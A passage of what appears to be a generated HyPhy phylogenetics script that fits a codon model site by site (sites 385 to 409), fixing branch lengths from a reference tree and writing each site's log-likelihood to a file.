assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "385\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 386...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1155,1156,1157", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 386");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "386\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 387...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1158,1159,1160", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 387");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "387\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 388...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1161,1162,1163", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 388");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "388\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 389...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1164,1165,1166", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 389");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "389\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 390...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1167,1168,1169", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 390");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "390\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 391...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1170,1171,1172", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 391");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "391\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 392...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1173,1174,1175", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 392");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "392\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 393...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1176,1177,1178", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 393");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "393\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 394...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1179,1180,1181", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 394");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "394\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 395...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1182,1183,1184", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 395");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "395\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 396...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1185,1186,1187", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 396");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "396\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 397...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1188,1189,1190", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 397");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "397\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 398...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1191,1192,1193", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 398");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "398\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 399...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1194,1195,1196", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 399");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "399\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 400...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1197,1198,1199", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 400");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "400\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 401...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1200,1201,1202", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 401");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "401\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 402...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1203,1204,1205", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 402");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "402\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 403...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1206,1207,1208", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 403");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "403\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 404...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1209,1210,1211", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 404");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "404\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 405...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1212,1213,1214", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 405");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "405\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 406...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1215,1216,1217", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 406");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "406\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 407...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1218,1219,1220", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 407");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "407\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 408...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1221,1222,1223", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 408");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "408\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 409...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1224,1225,1226", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 409");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
